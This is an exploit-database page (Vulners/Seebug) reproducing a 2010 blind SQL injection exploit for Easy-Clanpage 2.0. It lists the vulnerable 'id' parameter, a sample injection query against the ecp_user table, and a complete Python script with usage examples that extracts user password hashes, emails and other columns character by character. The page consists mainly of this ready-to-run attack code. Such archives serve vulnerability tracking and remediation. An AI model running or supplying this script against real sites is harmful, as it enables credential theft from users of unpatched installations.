Lucene search
K

Easy-Clanpage <= 2.0 - Blind SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 33 Views

Easy-Clanpage v2.0 Blind SQL Injection Exploit by Easy Laster on 24.03.2010. Vulnerability at http://localhost/ecp_version2/?section=user&action=details&func=stats&id

Code

                                                ----------------------------Information------------------------------------------------
+Name : Easy-Clanpage &#60;= v2.0 Blind SQL Injection Exploit
+Autor : Easy Laster
+Date   : 24.03.2010
+Script  : Easy-Clanpage v2.0
+Download : http://www.easy-clanpage.de/?section=downloads&action=viewdl&id=12
+Demo : http://capu87.ca.funpic.de/
+Price : for free
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://localhost/ecp_version2/?section=user&action=details&func=stats&id=

#BLind SQL Injection 
+Exploitable   : http://localhost/ecp_version2/?section=user&action=details&func=stats&id=
1+and+1=1+and+ascii(substring((SELECT password FROM ecp_user+WHERE+userID=1 LIMIT 0,1),1,1))&#62;1
-----------------------------------------------------------------------------------------
#Blind SQL Injection Exploit

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import sys, urllib2, getopt

def out(str):
    sys.stdout.write(str)
    sys.stdout.flush()

class Exploit:
    charset = &#34;0123456789abcdefABCDEF&#34;
    url = &#34;&#34;
    charn = 1
    id = 1
    table_prefix = &#34;&#34;
    table_field = &#34;&#34;
    passwd = &#34;&#34;
    columns = []
    find_passwd = True

    def __init__(self):
        if len(sys.argv) &#60; 2:
            print &#34;*****************************************************************************&#34;
            print &#34;******************** Easy-Clanpage V2.0 Profil Page Hack ********************&#34;
            print &#34;*****************************************************************************&#34;
            print &#34;*                Discovered and vulnerability by Easy Laster                *&#34;
            print &#34;*                             coded by Dr.ChAoS                             *&#34;
            print &#34;*****************************************************************************&#34;
            print &#34;* Usage:                                                                    *&#34;
            print &#34;* python exploit.py [OPTION...] [SWITCH...] &#60;url&#62;                           *&#34;
            print &#34;*                                                                           *&#34;
            print &#34;* Example:                                                                  *&#34;
            print &#34;*                                                                           *&#34;
            print &#34;* Get the password of the user with id 2:                                   *&#34;
            print &#34;* python exploit.py -id 2 http://site.de/ecp/                               *&#34;
            print &#34;*                                                                           *&#34;
            print &#34;* Get email and username of id 1:                                           *&#34;
            print &#34;* python exploit.py -columns 80:email,25:username -nopw http://site.de/ecp/ *&#34;
            print &#34;*                                                                           *&#34;
            print &#34;* Switches:                                                                 *&#34;
            print &#34;* --nopw                                  Search no password                *&#34;
            print &#34;*                                                                           *&#34;
            print &#34;* Options:                                                                  *&#34;
            print &#34;* --id=&#60;user id&#62;                          User id                           *&#34;
            print &#34;* --prefix=&#60;table prefix&#62;                 Table prefix of ECP               *&#34;
            print &#34;* --columns=&#60;max_chars:column_name,...&#62;   Get value of any column you want  *&#34;
            print &#34;*****************************************************************************&#34;
            exit()
        opts, switches = getopt.getopt(sys.argv[1:], &#34;&#34;, [&#34;id=&#34;, &#34;prefix=&#34;, &#34;columns=&#34;, &#34;nopw&#34;])
        for opt in opts:
            if opt[0] == &#34;--id&#34;:
                self.id = int(opt[1])
            elif opt[0] == &#34;--prefix&#34;:
                self.table_prefix = opt[1]
            elif opt[0] == &#34;--columns&#34;:
                for col in opt[1].split(&#34;,&#34;):
                    max, name = col.split(&#34;:&#34;)
                    self.columns.append([max, name, &#34;&#34;])
            elif opt[0] == &#34;--nopw&#34;:
                self.find_passwd = False
        for switch in switches:
            if switch[:4] == &#34;http&#34;:
                if switch[-1:] == &#34;/&#34;:
                    self.url = switch
                else:
                    self.url = switch + &#34;/&#34;
    def generate_url(self, ascii):
        return self.url + &#34;index.php?section=user&action=details&func=stats&id=1+and+1=1+and+ascii(substring((SELECT%20&#34; + self.table_field + &#34;%20FROM%20&#34; + self.table_prefix + &#34;ecp_user%20WHERE%20userID=&#34; + str(self.id) + &#34;%20LIMIT%200,1),&#34; + str(self.charn) + &#34;,1))%3E&#34; + str(ord(ascii))
    def start(self):
        print &#34;Exploiting...&#34;
        if self.find_passwd:
            self.password()
        if len(self.columns) &#62; 0:
            self.read_columns()
        print &#34;All finished!\n&#34;
        print &#34;------ Results ------&#34;
        if len(self.columns) &#62; 0:
            for v in self.columns:
                print &#34;Column \&#34;&#34; + v[1] + &#34;\&#34;: &#34; + v[2]
        if self.find_passwd:
            if len(self.passwd) == 32:
                print &#34;Password: &#34; + self.passwd
            else:
                print &#34;Password not found!&#34;
        print &#34;--------------------&#34;
    def read_columns(self):
        end = False
        charrange = [0]
        charrange.extend(range(32, 256))
        for i in range(len(self.columns)):
            out(&#34;Getting value of \&#34;&#34; + self.columns[i][1] + &#34;\&#34;: &#34;)
            self.table_field = self.columns[i][1]
            for pwc in range(1, int(self.columns[i][0]) + 1):
                if end == True:
                    break
                self.charn = pwc
                end = False
                for c in charrange:
                    src = urllib2.urlopen(self.generate_url(chr(c))).read()
                    if &#34;&#60;b&#62;Warning&#60;/b&#62;:  mysql_result() [&#34; in src:
                        if c == 0:
                            end = True
                        else:
                            self.columns[i][2] += chr(c)
                            out(chr(c))
                        break
            out(&#34;\n&#34;)
    def password(self):
        out(&#34;Getting password: &#34;)
        self.table_field = &#34;password&#34;
        for pwc in range(1, 33):
            self.charn = pwc
            for c in self.charset:
                src = urllib2.urlopen(self.generate_url(c)).read()
                if &#34;&#60;b&#62;Warning&#60;/b&#62;:  mysql_result() [&#34; in src:
                    self.passwd += c
                    out(c)
                    break
        out(&#34;\n&#34;)

exploit = Exploit()
exploit.start()

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation